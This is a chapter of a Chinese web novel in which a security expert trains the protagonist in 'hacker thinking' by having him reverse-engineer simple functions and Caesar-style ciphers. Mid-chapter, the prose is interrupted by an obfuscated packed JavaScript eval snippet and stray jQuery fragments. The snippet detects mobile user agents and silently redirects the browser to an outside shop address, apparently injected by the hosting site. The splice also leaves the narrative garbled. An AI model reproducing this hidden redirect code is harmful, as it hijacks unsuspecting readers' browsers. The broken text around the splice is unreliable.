第393章 你管这叫一般般?

作品:《高考前无限重置,我肝成全能学神

    方力溯在电脑前坐下,嘴角也不禁扬起,


    事情忽然就,往他期待的方向发展了.


    而此刻的塞蕾娜,看方力溯的眼神也变了,


    他不仅有着天花板级别的手速,


    而且长相出众,身材也看起来不错.


    一切,让塞蕾娜没了午睡的念头。


    虽然接下来她要教的是编程,


    但她打算直接给方力溯,植入黑客的思维骨架。


    “听好了,唐,


    接下来你只要跟着我的节奏,


    我会用最短的时间,让你的思维与代码逻辑同步!”


    “昂,”方力溯点点头:“那就拜托你了,塞蕾娜老师。”


    塞蕾娜说道:“第一步,先把网线拔了。”


    “断网?”


    “你在网上能找到的所有入门教程,都是垃圾,


    它们会让你先学三个月的语法,


    再用半年去理解,为什么你的代码不工作。”


    塞蕾娜盘起双臂,接着道:“我不管你的基础如何,


    我要你直接看见功能,然后倒推出原理。”


    说着,她打开一个黑色终端窗口:


    “你思考的不是你该写什么代码,


    而是这段代码在做什么,你能让它做什么,


    这,就是黑客的思维方式。”


    “黑客?”方力溯问道。


    塞蕾娜一愣,


    原本担心方力溯不同意,想先把人带过去,


    等抛出重金再提组织的事情,


    现在为了让他更好理解,不小心说出来了。


    “我一个首席网络安全专家,懂点黑客思维很合理的吧?


    我们必须了解他们的手段,才知道如何防御。”


    “原来如此.”


    方力溯还担心塞蕾娜最初的教学,只会停留在编程阶段,


    这么快就图穷匕见了是吧,正合我意。


    这时塞蕾娜打开Python编辑器:


    “唐


    你要做的就是让计算机告诉你代码在做什么。”


    说着她随手在键盘上一敲:


    “你自己试着运行它然后读懂它。”


    方力溯试了几次后说道:“输出的结果是输入值加1。”


    “再来。”


    塞蕾娜又重新定义一段函数。


    “输出的内容是输入的内容的3倍多6。”方力溯瞬间算出来了。


    “很好所以这个箱子的规则是3X+6”


    塞蕾娜问道:“但是你怎么确认?”


    方力溯想了想


    把函数的边界值和异常值代入测试全都符合规则:


    “现在可以确认了。”


    塞蕾娜这才点头:


    “记住只有当所有测试都符合你的猜想时你的猜想才可能是真理。”


    【你的黑客思维提升】


    “前面都是热身接下来这个有点意思。”


    说着塞蕾娜又给了一串代码。


    这回不是数字而是字母


    方力溯输入a出来的是n


    输入b出来的是o


    也就是说


    方力溯快速心算


    他当即就发现输出的结果是输入的后移13位。


    但是z又该怎么算?


    测试完他确认z会循环回到m。


    当方力溯说出结论时


    塞蕾娜下意识地看了眼时间当即露出一丝惊喜之色。


    刚刚那段代码用的是“凯撒密码”


    只要有人讲解普通人看两个例子5分钟就理解基本原理了。


    她当时只用了1分钟的时间


    而刚刚她什么也没说就靠方力溯自己推


    没想到也只用1分钟,


    他就摸出凯撒密码的原理了


    看来,得把难度拉满了。


    塞蕾娜又定义了一段函数,嘴角勾了起来:


    “来,试试这个。


    方力溯一试,和刚刚的原理是一样的,


    但规律完全不同,


    每个字母的位移增量在增加,可却不一定是等差数列


    “这是怎么回事?


    他拧起眉头,认真思索,


    各种数据在他大脑里快速运转.


    “不急,你慢慢试,


    塞蕾娜再次看了眼时间:“我去补个觉,


    希望在我醒来之后,能看到你的答案,


    记住,不能使用搜索引擎,靠你自己思考,


    当然你用了也搜不到答案。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16917857|183476||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    说完,她走出方力溯房间,心中暗想:


    别说两个小时,两天他也未必能解得出来,


    毕竟他的数学并不怎么样,


    更何况这个函数,根本没有统一的数学规律。


    不过,得出结论不是目的,


    他能理解其中的一部分模式,就已经是最大的收获了。


    来到床上,塞蕾娜揉了揉眼睛,


    昨晚忙着组织作战,现在急需睡眠。


    岂料她感觉自己刚睡着没多久,


    便响起了敲门声。


    “咚咚———塞蕾娜老师,我得出结论了。


    “什么?


    塞蕾娜坐了起来,她下意识地看了眼表盘,


    竟然才用了一个小时左右.


    虽然还在犯困,但她迫切想看到方力溯的答案。


    “结论是什么?


    “这个函数成三段不同的变化,


    其中前6个字母的位移量,呈线性递增,


    中间10个字母,实现f(n)=3n+2


    的变换,


    剩下的则带有伪随机性,其中


    方力溯一通分析,最后认真地指着屏幕:


    “还有,超过26个字母后,没有循环回字母开头,


    所以老师,你这程序有bug。


    塞蕾娜诧异地睁大眼睛:


    “给我看看你的草稿。


    方力溯摊开手:“没有草稿。


    “没有??


    “昂,方力溯点了点自己的太阳穴:“全在这里进行。


    “这、这到底是怎么推的


    “测试,加数学推导。


    塞蕾娜无比错愕.


    “一个懂凯撒密码的普通人,看到这些只会毫无章法地乱猜,


    最终一无所获.


    “就算是我第一次接触它的时候,也用了整整10个小时..


    “而你


    在我没有解释任何原理的情况下,


    一个小时内就做出了完整总结


    “只通过测试和纯数学推导,就逼近了bug的核心,


    甚至连草稿都不需要.


    塞蕾娜难以置信地看向方力溯:


    “这就是你刚刚说的.数学一般般?